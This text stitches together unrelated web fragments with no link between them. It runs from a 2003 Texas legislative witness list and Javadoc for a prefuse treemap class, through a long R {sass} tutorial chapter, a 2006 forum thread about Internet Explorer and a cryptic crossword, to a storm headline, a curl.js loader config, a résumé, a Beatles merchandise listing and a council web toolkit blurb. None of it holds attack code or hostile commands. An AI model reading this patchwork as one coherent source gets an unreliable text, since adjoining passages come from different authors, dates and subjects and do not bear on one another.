WITNESS LIST Defense Affairs and State-Federal Relations Committee April 3, 2003-8:00A HB 655 For: Davis, Ed (City of San Antonio) Garza, Frank (Brooks Development Authority and Greater Kelly Development Authority) Rasmussen, Bob (Greater Kelly Development Authority) HB 1396 For: Patterson, Jerry (Veterans Land Board) Registering, but not testifying: On: Oldmixon, Douglas E. (Texas Veterans Land Board) HB 1521 For: Bushell, Gary (South Texas Military Facilities Task Force, Corpus Christi Chamber of Commerce) Davis, Ed (City of San Antonio) Hawley, Judy (North Bay Military Task Force, South Texas Facilities Military Task Force) Smothers, Dub (Self and Textile Maintenance Association of Texas (TMAT), Jean Warnke-Bragg, Executive Director) On: Baum, Walt (Association of Electric Companies of Texas) Buie, Jim (TX Bond Review Board) Ehrie, Wm. J. (TX Strategic Military Planning Commission) Lloyd, Brian H. (Public Utility Commission of Texas) Registering, but not testifying: For: Patterson, Jerry (Veterans Land Board) Randall, Maryann (City Public Service of San Antonio) HB 1749 For: Patterson, Jerry (Veterans Land Board) On: Martin, Rusty (Veterans Land Board) HB 2396 For: Patterson, Jerry (Veterans Land Board) Registering, but not testifying: For: Gonzalez, Daniel (Texas Association of Realtors) On: Oldmixon, Douglas E. (Texas Veterans Land Board) HJR 7 For: Bushell, Gary (South Texas Military Facilities Task Force, Corpus Christi Chamber of Commerce) HJR 68 For: Patterson, Jerry (Veterans Land Board) On: Martin, Rusty (Veterans Land Board)


public class TopMarginSquarifiedTreeMapLayout
extends prefuse.action.layout.graph.TreeLayout
| Modifier and Type | Field and Description |
|---|---|
static java.lang.String |
AREA |
static prefuse.data.Schema |
AREA_SCHEMA |
private double |
m_frame |
private java.util.ArrayList |
m_kids |
private java.awt.geom.Rectangle2D |
m_r |
private java.util.ArrayList |
m_row |
private static java.util.Comparator |
s_cmp |
static double |
topMarginMult |
| Constructor and Description |
|---|
TopMarginSquarifiedTreeMapLayout(java.lang.String group)
Creates a new SquarifiedTreeMapLayout with no spacing between
parent areas and their enclosed children.
|
TopMarginSquarifiedTreeMapLayout(java.lang.String group,
double frame)
Creates a new SquarifiedTreeMapLayout with the specified spacing between
parent areas and their enclosed children.
|
| Modifier and Type | Method and Description |
|---|---|
private void |
computeAreas(prefuse.visual.NodeItem root)
Compute the pixel areas of nodes based on their size values.
|
double |
getFrameWidth()
Gets the amount of desired framing space, in pixels, between
parent rectangles and their enclosed children.
|
private void |
layout(prefuse.visual.NodeItem p,
java.awt.geom.Rectangle2D r)
Compute the tree map layout.
|
private java.awt.geom.Rectangle2D |
layoutRow(java.util.List row,
double w,
java.awt.geom.Rectangle2D r) |
void |
run(double frac) |
void |
setFrameWidth(double frame)
Sets the amount of desired framing space between parent rectangles and
their enclosed children.
|
private void |
setNodeDimensions(prefuse.visual.NodeItem n,
double w,
double h) |
private void |
squarify(java.util.List c,
java.util.List row,
double w,
java.awt.geom.Rectangle2D r) |
private void |
updateArea(prefuse.visual.NodeItem n,
java.awt.geom.Rectangle2D r) |
private double |
worst(java.util.List rlist,
double w) |
getLayoutAnchor, getLayoutBounds, setLayoutAnchor, setLayoutBounds, setMargin, setX, setY
addActivityListener, alwaysRunAfter, cancel, fireActivityCancelled, fireActivityFinished, fireActivityScheduled, fireActivityStarted, fireActivityStepped, getDuration, getNextTime, getPace, getPacingFunction, getStartTime, getStepTime, getStopTime, isEnabled, isRunning, isScheduled, removeActivityListener, run, runAfter, runAt, setDuration, setEnabled, setPacingFunction, setStartTime, setStepTime
public static final double topMarginMult
public static final java.lang.String AREA
public static final prefuse.data.Schema AREA_SCHEMA
private static java.util.Comparator s_cmp
private java.util.ArrayList m_kids
private java.util.ArrayList m_row
private java.awt.geom.Rectangle2D m_r
private double m_frame
public TopMarginSquarifiedTreeMapLayout(java.lang.String group)
group
- the data group to layout. Must resolve to a Graph instance.public TopMarginSquarifiedTreeMapLayout(java.lang.String group, double frame)
frame
- the amount of desired framing space between
parent areas and their enclosed children.group
- the data group to layout. Must resolve to a Graph instance.public void setFrameWidth(double frame)
frame
- the frame width, 0 for no framespublic double getFrameWidth()
public void run(double frac)
run
in class prefuse.action.GroupAction
Action.run(double)
private void computeAreas(prefuse.visual.NodeItem root)
private void layout(prefuse.visual.NodeItem p, java.awt.geom.Rectangle2D r)
private void updateArea(prefuse.visual.NodeItem n, java.awt.geom.Rectangle2D r)
private void squarify(java.util.List c, java.util.List row, double w, java.awt.geom.Rectangle2D r)
private double worst(java.util.List rlist, double w)
private java.awt.geom.Rectangle2D layoutRow(java.util.List row, double w, java.awt.geom.Rectangle2D r)
private void setNodeDimensions(prefuse.visual.NodeItem n, double w, double h)


Hello there. I am Furkan! I have been playing and listening to the electric guitar since 2014.
Katatonia are a Swedish metal band formed in Stockholm in 1991 by Jonas Renkse and Anders Nyström.
Tonight's Decision is the fourth full-length album by Katatonia, released in 1999 by Peaceville Records. The album was reissued in 2003 with two bonus tracks.
Opeth was formed as a death metal band in 1989 in Stockholm, Sweden, by lead vocalist David Isberg.
Still Life is the fourth studio album by Swedish progressive metal band Opeth.


7 Introduction to Sass
One of the main problem with CSS is to handle the growing number of files and the code repetition. Nowadays, web developers mainly use CSS pre processors like Sass, that stands for “Syntactically Awesome Style Sheets”, providing access to variables, mathematical operators, functions and loops, thereby reducing the code complexity and extending the possibilities. RStudio developed the {sass} package (Cheng, Mastny, et al. 2021), which makes it possible to use Sass in Shiny apps or Rmarkdown documents.
7.1 Getting started with Sass
While we could use Sass from the terminal, we leverage the sass package features to work from R. To install sass, we run:
install.packages("sass")
# OR
remotes::install_github("rstudio/sass")
The main function is sass()
, whose input parameter accepts:
- A R string like
a { color: pink}
. - A named
list()
. - A file passed with
sass_file()
, imports withsass_import()
. - More complex structures.
library(sass)
# with a string
sass(input = ".element-class { color: pink;}")
# with named list
sass(list(color = "pink", ".element-class { color: $color;}"))
#> /* CSS */
#> .element-class {
#> color: pink;
#> }
Note how the R code objects are seamlessly converted to Sass variable. For convenience, we will be using named lists in the remaining of the book.
7.1.1 Variables
Let us consider the following example, where two different classes have the same color:
Shouldn’t this be easier? Imagine if we had hundreds of elements with the same color. What happens in case the color changes? Do we have to update all properties by hand?
If we let the Sass variable $color
:
we can quickly solve that problem. With sass, we define one variable holding the color as well as our two rules, so that we obtain:
rule1 <- ".class-1{ color: $color; }"
rule2 <- ".class-2{ background-color: $color; }"
sass(input = list(color = "purple", rule1, rule2))
#> /* CSS */
#> .class-1 {
#> color: purple;
#> }
#>
#> .class-2 {
#> background-color: purple;
#> }
Add the default! tag after the variable definition, if you want
to let others modify it, that is "$color: purple !default;"
.
7.1.2 Partials and Modules
It is best practice to save useful code snippets in one place, and reuse them
at anytime and anywhere. Sass allows to define partials, like _partial.css
, with the leading
underscore, which avoids it to be converted into CSS. Partials are subsequently called
with @import <PARTIAL_NAME>
(you may also find @use
, the latter not being handled
by LibSass
, which fuelssass), thereby significantly reducing code duplication.
Modules are pieces of Sass files that are later converted into CSS, reducing file size to a minimum.
Below is an example of the bootstrap.scss
file:
/*!
* Bootstrap v5.0.0-beta1 (https://getbootstrap.com/)
...
*/
// scss-docs-start import-stack
// Configuration
@import "functions";
@import "variables";
@import "mixins";
@import "utilities";
// Layout & components
@import "root";
@import "reboot";
...
// Helpers
@import "helpers";
// Utilities
@import "utilities/api";
// scss-docs-end import-stack
which is easier to read and maintain than the original bootstrap.css
with 10717 lines of code!
In practice, we often end up with a main Sass file and compile it as follows:
7.1.3 Mixins and Functions
Another great advantage of Sass is the ability to generate reusable units of code, also known as mixins or functions.
<IP_ADDRESS> Mixins
To make a 90 degrees rotation in CSS, we have to write:
.element {
-webkit-transform: rotate(90deg);
-ms-transform: rotate(90deg);
transform: rotate(90deg);
}
which is already tedious. Mixins allow to encapsulate the logic into a reusable unit:
@mixin transform($property, ...) {
-webkit-transform: $property;
-ms-transform: $property;
transform: $property;
}
.element1 {
@include transform(rotate(90deg));
}
The mixin starts with a @mixin
keyword followed by its name and parameters.
It is called with @include <MIXIN_NAME(PARMS)>
, very similar to a function declaration, excepts that
it must return a CSS rule.
mixin <- "@mixin transform($property) {
-webkit-transform: $property;
-ms-transform: $property;
transform: $property;
}"
rule <- ".element1 { @include transform($prop); }"
sass(input = list(prop = "rotate(90deg)", mixin, rule))
#> /* CSS */
#> .element1 {
#> -webkit-transform: rotate(90deg);
#> -ms-transform: rotate(90deg);
#> transform: rotate(90deg);
#> }
<IP_ADDRESS> Functions
Sass offers many built-In modules containing
ready to use functions for colors, numbers, strings, lists, maps, … Some functions like
rgb
are global, so that we don’t have to import the corresponding module.
sass(".pouet { color: rgb(0, 255, 0); }")
#> /* CSS */
#> .pouet {
#> color: lime;
#> }
It is definitely possible to design custom functions with @function
,
whose syntax is very close the mixins:
While debugging functions, it might be useful to capture intermediate elements.
@debug
allows this:
sass(
list(
a = 2,
b = 4,
"@function multiply($parm1, $parm2) {
@debug 'parm1 is #{$parm1}';
@debug 'parm2 is #{$parm2}';
@return $parm1 * $parm2;
}",
".my-class {
width: multiply($a, $b) * 1px;
}"
)
)
#> /* CSS */
#> .my-class {
#> width: 8px;
#> }
Notice the use of mathematical operators like *
, +
, -
, /
and %
, which is not possible with CSS.
7.1.4 Extend/Inheritance
We consider two alerts with the color as only difference. As we can’t capture multiple properties
inside one single Sass variable, we introduce the extend concept, which permits to import
CSS properties inside multiple rules. We first define a generic alerts-common
rule,
prefixed by the %
symbol. It contains several rules and variables:
%alerts-common {
position: relative;
padding: $alert-padding-y $alert-padding-x;
margin-bottom: $alert-margin-bottom;
}
.alert-red {
@extend %alerts-common;
color: red;
}
.alert-green {
@extend %alerts-common;
color: green;
}
Let’s translate this into R:
common <- "%alerts-common {
position: relative;
padding: $alert-padding-y $alert-padding-x;
margin-bottom: $alert-margin-bottom;
}"
alert_red <- ".alert-red {
@extend %alerts-common;
color: red;
}
"
alert_green <- ".alert-green {
@extend %alerts-common;
color: green;
}
"
sass(input = list(
"alert-padding-y" = "5px",
"alert-padding-x" = "10px",
"alert-margin-bottom" = "2px",
common,
alert_red,
alert_green
))
#> /* CSS */
#> .alert-green, .alert-red {
#> position: relative;
#> padding: 5px 10px;
#> margin-bottom: 2px;
#> }
#>
#> .alert-red {
#> color: red;
#> }
#>
#> .alert-green {
#> color: green;
#> }
This method avoids to multiply classes on elements such as .alert-common .alert-red ...
.
Yet, we could have programmatically generated the two alert
classes with a loop, to avoid duplication.
7.1.5 Flow Controls
These are elements aiming at fine tuning mixins and functions behavior.
<IP_ADDRESS> if and else
Like in every programming language if
and else
control the execution of a code block, depending
on some conditions.
Below, we only want to conditionally control a shadow property, depending on the alert color:
@mixin add-shadow($color) {
@if $color == red {
box-shadow:
0 4px 10px 0 rgb(255, 0, 0),
0 4px 20px 0 rgb(255, 0, 0);
} @else if $color == green {
box-shadow:
0 4px 10px 0 rgb(0, 255, 0),
0 4px 20px 0 rgb(0, 255, 0);
}
}
.alert-red {
@extend %alerts-common;
color: red;
@include add-shadow($color: red);
}
.alert-green {
@extend %alerts-common;
color: green;
@include add-shadow($color: green);
}
add_shadow <- "@mixin add-shadow($color) {
@if $color == red {
box-shadow:
0 4px 10px 0 rgb(255, 0, 0),
0 4px 20px 0 rgb(255, 0, 0);
} @else if $color == green {
box-shadow:
0 4px 10px 0 rgb(0, 255, 0),
0 4px 20px 0 rgb(0, 255, 0);
}
}
"
common <- "%alerts-common {
position: relative;
padding: $alert-padding-y $alert-padding-x;
margin-bottom: $alert-margin-bottom;
}"
alert_red <- ".alert-red {
@extend %alerts-common;
color: red;
@include add-shadow($color: red);
}
"
alert_green <- ".alert-green {
@extend %alerts-common;
color: green;
@include add-shadow($color: green);
}
"
sass(input = list(
"alert-padding-y" = "5px",
"alert-padding-x" = "10px",
"alert-margin-bottom" = "2px",
common,
add_shadow,
alert_red,
alert_green
))
#> /* CSS */
#> .alert-green, .alert-red {
#> position: relative;
#> padding: 5px 10px;
#> margin-bottom: 2px;
#> }
#>
#> .alert-red {
#> color: red;
#> box-shadow: 0 4px 10px 0 red, 0 4px 20px 0 red;
#> }
#>
#> .alert-green {
#> color: green;
#> box-shadow: 0 4px 10px 0 lime, 0 4px 20px 0 lime;
#> }
<IP_ADDRESS> Loops
<IP_ADDRESS>.1 Each
We would like to create the alert class with only one rule. We first define a list of colors in Sass and
call the @each
:
$colors: red, green;
@each $color in $colors {
.alert-#{$color} {
color: green;
@include add-shadow($box-color: $color);
}
}
The structure is the same as the JavaScript loop. You’ll also notice the #{...}
which
is called interpolation and allows to
insert any Sass expression in a string. As another example, if we want to create a background-image
property
within a mixin, we could do background-image: url("/some_path/#{$name}.svg")
, where #{$name}
holds the file name.
add_shadow <- "@mixin add-shadow($color) {
@if $color == red {
box-shadow:
0 4px 10px 0 rgb(255, 0, 0),
0 4px 20px 0 rgb(255, 0, 0);
} @else if $color == green {
box-shadow:
0 4px 10px 0 rgb(0, 255, 0),
0 4px 20px 0 rgb(0, 255, 0);
}
}
"
common <- "%alerts-common {
position: relative;
padding: $alert-padding-y $alert-padding-x;
margin-bottom: $alert-margin-bottom;
}"
alerts_rule <- "@each $color in $colors {
.alert-#{$color} {
@extend %alerts-common;
color: green;
@include add-shadow($color: $color);
}
}
"
sass(input = list(
colors = c("green", "red"),
"alert-padding-y" = "5px",
"alert-padding-x" = "10px",
"alert-margin-bottom" = "2px",
common,
add_shadow,
alerts_rule
))
#> /* CSS */
#> .alert-red, .alert-green {
#> position: relative;
#> padding: 5px 10px;
#> margin-bottom: 2px;
#> }
#>
#> .alert-green {
#> color: green;
#> box-shadow: 0 4px 10px 0 lime, 0 4px 20px 0 lime;
#> }
#>
#> .alert-red {
#> color: green;
#> box-shadow: 0 4px 10px 0 red, 0 4px 20px 0 red;
#> }
It becomes even more powerful while working with maps like $font-weights: ("regular": 400, "medium": 500, "bold": 700);
, i.e by key/value pairs.
@each
is as convenient as lapply
or map
functions to chain repetitive rules creation.
<IP_ADDRESS>.2 For
However, it is not straightforward to count up or down with @each
. This is precisely where
@for
fills the gap. The generic scheme is:
@for <variable> from <expression> to <expression> { ... }
@for <variable> from <expression> through <expression> { ... }
to excludes the last number while through includes it.
7.1.6 Nesting code
To make your code more readable, Sass
allows to nest rules by hierarchy, thereby aligning with the underlying HTML structure. For instance, looking at the previous example from section <IP_ADDRESS>.2:
.navbar-nav > li:first-child > a {
font-size: 20px;
font-weight: bold;
}
.navbar-nav > li:first-child > a::before {
content: '✌'
}
Transforming to Sass code, it avoids to have two separate rules:
.navbar-nav {
> li:first-child {
> a {
font-size: 20px;
font-weight: bold;
}
}
> li:first-child {
> a::before {
content: '✌'
}
}
}
Below is another example taken from the AdminLTE3 library powering bs4Dash. This code shows how the card CSS is structured, leveraging all the above Sass capabilities like mixins, nesting, functions, … This chunk may be read from top to bottom and gives a rather good idea of how the card will look like, contrary to the classic CSS approach. It first applies a shadow with a mixin, then sets the bottom margin with a function. All listed variables are defined in a separate file. Besides, the card body has text printed in white color when the dark mode is active. Finally, when the card is collapsed, none of the body and footer elements are displayed.
.card {
@include box-shadow($card-shadow);
margin-bottom: map-get($spacers, 3);
&.bg-dark {
.card-header {
border-color: $card-dark-border-color;
}
&,
.card-body {
color: $white;
}
}
/* other rules */
// collapsed mode
&.collapsed-card {
.card-body,
.card-footer {
display: none;
}
}
/* other rules */
}
7.2 {sass}
best practices
As it’s best practice, especially for debugging purposes, to include assets as HTML
dependencies, it is a good idea to organize the Sass variable definition, function/mixins in layers, leveraging the sass_layer()
function:
rule1 <- ".class-1{ color: $color; }"
rule2 <- ".class-2{ background-color: $color; }"
layer1 <- sass_layer(
defaults = list(color = "purple"),
rules = list(rule1, rule2)
)
#> /* Sass Bundle */
#> $color: purple;
#> .class-1{ color: $color; }
#> .class-2{ background-color: $color; }
#> /* *** */
Besides, sass_layer()
provide options like:
-
declarations containing any function, mixin elements, in a
sass_file
for instance. - html_deps that attaches a single or a list of HTML dependencies to the provided Sass code, as shown below.
sass_layer(
html_deps = htmltools::htmlDependency(
name = "my-dep",
version = "1.0.0",
package = "mypkg",
src = "path",
...
)
)
Ultimately, multiple layers may be bundled with sass_bundle()
:
layer2 <- sass_layer(
defaults = list(color = "blue"),
rules = list(rule1, rule2)
)
my_bundle <- sass_bundle(layer1 = layer1, layer2 = layer2)
my_bundle
#> /* Sass Bundle: layer1, layer2 */
#> $color: blue;
#> $color: purple;
#> .class-1{ color: $color; }
#> .class-2{ background-color: $color; }
#> .class-1{ color: $color; }
#> .class-2{ background-color: $color; }
#> /* *** */
#> /* CSS */
#> .class-1 {
#> color: purple;
#> }
#>
#> .class-2 {
#> background-color: purple;
#> }
#>
#> .class-1 {
#> color: purple;
#> }
#>
#> .class-2 {
#> background-color: purple;
#> }
sass_bundle_remove()
removes a given layer from the bundle, provided that you passed a named list to sass_bundle()
.
This allows other developers to reuse and modify predefined layers:
my_bundle <- sass_bundle_remove(my_bundle, "layer2")
my_bundle
#> /* Sass Bundle: layer1 */
#> $color: purple;
#> .class-1{ color: $color; }
#> .class-2{ background-color: $color; }
#> /* *** */
sass(my_bundle)
#> <style>.class-1 {
#> color: purple;
#> }
#>
#> .class-2 {
#> background-color: purple;
#> }
#> </style>
#> /* CSS */
#> .class-1 {
#> color: purple;
#> }
#>
#> .class-2 {
#> background-color: purple;
#> }
7.3 From Sass to CSS
sass()
can generate CSS from Sass by passing an output parameter pointing to the path where
to generate the CSS file. Best practice consists in enabling compression and source maps. We discuss
this later in the book in Chapter 21. Overall those steps makes the code faster to load and easier to debug:
sass(
list(
color = "pink",
".a { color: $color; }"
),
options = sass_options(
output_style = "compressed",
source_map_embed = TRUE
)
)
/* CSS */
.a{color:pink}
/*# sourceMappingURL=data:application/json;base64,ewoJInZlcn
Npb24iOiAzLAoJImZpbGUiOiAic3RkaW4uY3NzIiwKCSJzb3VyY2VzIjogWwo
JCSJzdGRpbiIKCV0sCgkibmFtZXMiOiBbXSwKCSJtYXBwaW5ncyI6ICJBQUNB
LEFBQUEsRUFBRSxBQUFDLENBQUUsS0FBSyxDQURGLElBQUksQ0FDVSIK
fQ== */
sass(
sass_file("main.scss"),
"<OUTPUT PATH>",
options = sass_options(
output_style = "compressed",
source_map_embed = TRUE
)
)
7.4 Sass and Shiny
Now let’s go back to Shiny! How do we include Sass code in a Shiny app? There are multiple situations:
- You simply want to style a shiny app.
- You developed a template with custom JS and Sass/CSS to be reused by other developers.
The first option is rather simple since the Sass code is compiled with sass()
before the shiny apps is launched. The resulting code may be either a string or a CSS file (within the www
folder), to be included in the head
. We assume to be located at the app folder level:
sass(
list(
color = "pink",
size = "30px",
".awesome-link {
color: $color;
font-size: $size;
&:hover{
color: green;
}
}"
),
output = sprintf("www/main.min.css"),
options = sass_options(
output_style = "compressed",
source_map_embed = TRUE
)
)
Source maps allow us to see the original Sass code, as shown Figure 7.1.
sass_options()
gives the flexibility to fine tune the CSS output and source map configuration.
For complex projects where the CSS compilation may take time, we strongly advise to process the CSS independently from the app startup.
The second option requires to run sass()
passing an output file within the package. Then, the generated CSS
is included in an HTML dependency, ready to be shipped with the template:
sass(
sass_file("main.scss"),
"<OUTPUT PATH>/main.css",
options = sass_options(
output_style = "compressed",
source_map_embed = TRUE
)
)
my_css_deps <- htmltools::htmlDependency(
name = "my-style",
version = "1.0.0",
package = "mypkg",
src = "<OUTPUT PATH>",
stylesheet = "main.css"
)
7.5 Examples
7.5.1 Customize {bs4Dash}
colors
bs4Dash is a Bootstrap 4 dashboard template built on top of the AdminLTE3 HTML template. shinydashboard is powered by the previous version, that is AdminLTE2, which make it somehow bs4Dash’s big brother!
AdminLTE3 relies on Sass and all files are stored here. Particularly, all variables are located in the _variables.scss
partial. Since we can decompose our
Sass code in multiple layers, we seamlessly customize the theme color
variables listed below:
$blue: #0073b7 !default;
$lightblue: #3c8dbc !default;
$navy: #001f3f !default;
$teal: #39cccc !default;
$olive: #3d9970 !default;
$lime: #01ff70 !default;
$orange: #ff851b !default;
$fuchsia: #f012be !default;
$purple: #605ca8 !default;
$maroon: #d81b60 !default;
$black: #111 !default;
$gray-x-light: #d2d6de !default;
Let’s provide our own defaults with some custom colors:
$blue: #136377 !default;
$olive: #d8bc66 !default;
$lime: #fcec0c !default;
$orange: #978d01 !default;
$maroon: #58482c !default;
$gray-x-light: #d1c5c0 !default;
Now we would have to recompile the whole AdminLTE3 Sass code to account for these changes.
It means, all scss assets must be accessible somewhere: this is what the fresh package is doing under the hoods.
No worries, we’ll come back on fresh in the next Chapter. For now, we rely on the {OSUICode}
Sass code stored at
system.file("sass/adminlte/adminlte.scss", package = "OSUICode")
(since fresh may change in the future, {OSUICode}
will be frozen to make sure the code always work):
css <- sass(
sass_layer(
defaults = list(
lightblue = "#136377",
olive = "#d8bc66",
lime = "#fcec0c",
orange = "#978d01",
maroon = "#58482c",
"gray-x-light" = "#d1c5c0"
),
rules = sass_file(
input = system.file(
"sass/adminlte/adminlte.scss",
package = "OSUICode"
)
)
)
)
# This CSS is injected inside the app head (see example)
The corresponding app may be tested below. If you want to see the whole code, run OSUICode::get_example("sass/examples/bs4Dash-custom")
.
### RUN ###
# OSUICode::run_example(
# "sass/examples/bs4Dash-custom"
# )
Output is shown on Figure 7.2.
You probably noticed a potential issue. We indeed have to rely on a specific AdminLTE version,
namely 3.1.0
, that is not necessarily the one we want. Therefore, an alternative would
be to download the Sass files from AdminLTE3, store them in a package, ideally the /inst
folder, and recompile the code from that folder with new variables. As AdminLTE3 depends on Bootstrap 4, we would have to recover those dependencies in a separate folder, making sure it is accessible to the AdminLTE Sass code.
7.5.2 Customize {shinybulma}
For convenience, the Sass code is already included in the book side package. The goal is to change the main color palette that comprises:
- primary
- info
- success
- warning
- danger
In total, bulma exposes 419 Sass variables!
Among all files, we locate the main variables file and select the relevant variables we want to modify. Notice we can retrieve all those information: initial variables and derived variables.
We assign them new values:
$turquoise: #03a4ff;
$cyan: #e705be;
$green: #f3d6e9;
$yellow: #fdaf2c;
$red: #ff483e;
$scheme-main: hsl(0, 0%, 4%);
Particularly, we target the main body color stored in $scheme-main
. Instead of pointing
to $white
, we change its value to the default $black
. We then Compile the new CSS with sass()
:
css <- sass(
sass_layer(
defaults = list(
turquoise = "#03a4ff",
cyan = "#e705be",
green = "#f3d6e9",
yellow = "#fdaf2c",
red = "#ff483e",
"scheme-main" = "hsl(0, 0%, 10%)"
),
rules = sass_file(input = system.file(
"sass/bulma/bulma.sass",
package = "OSUICode"
))
)
)
Finally, we try the new theme in the following app, shown on Figure 7.3.
If you want to see the whole code, run OSUICode::get_example("sass/examples/shinybulma-custom")
.
### RUN ###
# OSUICode::run_example(
# "sass/examples/shinybulma-custom"
# )


{% extends 'home/errors.html' %} {% block title %} Error: {% block code %}{% endblock %} {% endblock %} {% block reasoning %}
There's been a 404! This means a page that doesn't exist has been requested. Check the URL or report a broken link!
{% endblock %}


Page 1 of 1
Die, IE, die!
Posted:
Wed Apr 26, 2006 9:40 pm
by Joe M.
This website is funny:
http://explorerdestroyer.com/
And if they succeed--so much the better.
Posted:
Thu Apr 27, 2006 5:26 am
by Karl G.
That's groovy. I think it's a cool idea--plus, a whole dollar for each person! Woohoo!!
Posted:
Thu Apr 27, 2006 11:18 am
by Guest
Although I have mozilla, I don't see what all of the anti-IE sentement is all about. IE is a good browser, and we need a brower we can always fall back onto if our current one is incompatable with some sites.
Posted:
Thu Apr 27, 2006 11:27 am
by mongatard
Ugh, apparently I didn't log in, but that post was from me.
Posted:
Thu Apr 27, 2006 4:35 pm
by Keats
Anyone read The Inquirer? They're constantly finding new "critical" holes in Internet Explorer, just waiting to be exploited.
The only problem with that whole get-paid-$1-for-every-person-you-switch is that unless you make over $100 Google won't write the cheque for it.
Posted:
Thu Apr 27, 2006 5:17 pm
by Karl G.
As in...the tabloid?
Posted:
Thu Apr 27, 2006 10:10 pm
by Joe M.
I think what killed me is when I realized this: IE 6 has been around for 5 years. And they're just introducing a #7 beta. It's called monopoly--when you don't have to, you don't get any better.
Posted:
Fri Apr 28, 2006 3:42 pm
by Keats
Haha nah Karl. That's the
Enquirer. The Inquirer is an online IT publication.
http://www.theinquirer.net/
Posted:
Fri Apr 28, 2006 4:06 pm
by Karl G.
Ah! That would be why I was confused


Clues marked with * have a shared unstated definition AND a shared
unstated (and somewhat unusual) cryptic instruction as well!
Across:
7. Came before getting upset re tepid sex! (10)
9. Its previous leader's vanquished * (4)
10. Cover article in promotional text (6)
11. Best dismissed, caught by young lady (8)
12. Saddled by cursed administrative "mandate", ... * (5)
13. ... place war calls home: unjust mandate, barbaric invasion, barricades! * (9)
14. 20 across backed by Gnosticism (3)
15. May sent out forgiveness (7)
17. Fellows holding onto every last bit of these wartorn strips (7)
20. 14 across backed by feudalism (3)
21. Lunatic led in last and put in power (9)
23. South pursued independence, creating delineation * (5)
26. Mac's hair arranged to give personal appeal (8)
27. Geometry brought them fame (strictly notated) * (6)
28. Lacking energy badly, the thirds give up (4)
29. Exhibits how species evolved (10)
Down:
1. Compact spot under the pagola at very ends (6)
2. Good codeine arranged as the 1 of 6 granted 15 for it (8)
3. Land with Sabratha's city ramparts * (5)
4. Turn of phrase inspiring article as empire carved up by 1 of 6 (7)
5. Satisfy visitor with cut of meat (6)
6. Where IOC is based (in city in California, USA) gets 22.5 degrees (8)
8. Took a long time to act decisively, but did when conquering that place (8)
12. Somewhere to soak diseased part (3)
13. Sleeping approximately forty fifths, which helps when walking a tightrope (3)
14. Some 15 list saved, their efforts valued by public figures (8)
16. Cumin she prepared for a drug user's cravings (8)
17. What his 14 across calls him when David misses six (3)
18. Instruments in country music always get allowed seven isolated seconds (8)
19. In which one might bathe one's unhealthy part (3)
20. Locals getting rebuffed because paying visitors enshrined * (7)
22. The outer bird, cooking 'nested' oddity * (6)
24. Bowed, powerless, thirsting (6)
25. European agents say people visit * (5)


Tropical Storm Ramon lingers in same spot, slightly weakens
Tropical Storm Ramon (Kalmaegi) is almost stationary on Friday afternoon, November 15
by Acor ArceoSubscribe
Email Address
Newsletters
- Glenda Gloria's Take this Tuesday
- Huddle by Miriam Grace Go
- The Newsbreak Agenda by Chay Hofileña
- Sometimes, all you need is video by Lilibeth Frondoso


This is a slightly modified version of CurlJS
In the original version the non-AMD files did not wait for dependencies. This was fixed by creating an external custom legacy loader. Now the user can inject the non-AMD file.
define(["bootstrap"], factory);
Click Here to view the Traditional Curl.js
// config given in the html itself for ease of path resolution
/**
* In the original legacy loader, it didn't wait for dependencies to load
* Fixed this in the custom loader.
* So now the user can inject bootstrap as,
* define(['bootstrap'], factory);
* This will first load 'jquery' then 'bootstrap'
*/
curl.config({
baseUrl: "public/app",
pluginPath: "/node_modules/curl-amd/src/curl/plugin/",
paths: {
"curl": '/node_modules/curl-amd/src/curl', // Notice: this is ref to folder. An alias name.
"jquery": "/node_modules/jquery/dist/jquery",
"css!bootstrap": "/node_modules/bootstrap/dist/css/bootstrap.min.css",
"css!app": "../stylesheets/simple-sidebar.css",
// bootstrap.js is a non-AMD module,
// the usual loader exects a define() in it
"bootstrap": {
location: "/node_modules/bootstrap/dist/js/bootstrap.min",
config: {
// Tell curl to use this loader instead of it own
loader: "my-curl/customLegacyLoader", // This is a custom created loader.
exports: "function(){}", // noop
requires: [ "jquery" ],
}
},
"Block": "amd/Block"
},
});
Toggle Menu


- Mygola Inc (Oct 2011 - till date)
- UI Engineer
- Verse Innovations(Dec 2009 - Oct 2011)
- Senior Software Engg L2
- Cisco Systems (Sept 2008 - Dec 2009)
- Software Engineer
- Pramati Technologies (Nov 2006 - Sept 2008)
- Development Engineer
- MS (2011)
- Software Systems, BITS
- B.Tech (2006)
- Information Technology, DA-IICT
- HTML/CSS/Javascript
- Ajax/OOJS
- jQuery/Backbonejs
- Performance optimizations
- Blog
- http://devangpaliwal.com
- http://linkd.in/1duHkfR
- SCJP
- SCWCD
- SCJWSD
Mygola (a trip planning startup) allows users to browse itineraries taken by other people, pick and choose places they like and create custom plans for themselves.
Javascript, Html, CSS, jQuery, Ajax
- Wrote reusable, modular components to be used across website.
- Quick prototyping
- Responsible for crafting html/css.
- Hooked up pages to the backend.
- Cross Browser Support
Mobjobs widget was embedded in Opera Mini (South Africa). Implemented features like profile creation, search, apply for jobs, save jobs etc.
Javascript, Html, Css, Ajax
- Owned front-end of the widget.
- Responsible for exploring the tools, and platform for development.
The WebEx Connect platform is a SaaS Integration Platform that allows users to connect to third party applications through WebEx middleware or in an on-demand session through WebEx partnerships with third-party SaaS providers. Functionalities developed included announcement, discussion, files widgets.
Javascript, Html, Css, Ajax
- Developed ajax, json powered interfaces for webex.
- Took ownership of user interface of the widgets
Intel® Mash Maker is an extension to your existing web browser that allows you to easily augment the page that you are currently browsing with information from other websites. For example: plot all items on a map, or display the leg room for all flights.
Javascript, Html, Css
- Responsible for table, annotation widget's UI
- Wrote markup, css and behavior for widgets


Our Best Selling Products
Abbey Road Tee
US$39.99
White Album Sweatshirt
US$59.99
The Beatles! Tote Bag
US$19.99
Follow us on social media!


The Alfred P. Sloan Foundation, a philanthropic, not-for-profit grantmaking institution established in 1934.


Rapidly build council websites.
The Council Web Toolkit allows Councils to design and build fully responsive websites that adhere to emerging digital public service standards, including best practice guidance from Socitm on enabling access to digital public services. This first release focuses on making available fully responsive content templates that may be used within a website project to display public services. Later releases will incorporate a service model enshrined within an Open Source CMS for use by Councils to enable them to build out the basis of a website service rapidly and efficiently at a low base cost.
Usage of the Council Web Toolkit is completely free from licensing costs, is built on an open source products and services, and is hosted on Github.
Council Toolkit has been developed by Storm ID, one of Scotland's leading digital consultancies, inspired by the work that we have done with City of Edinburgh Council.
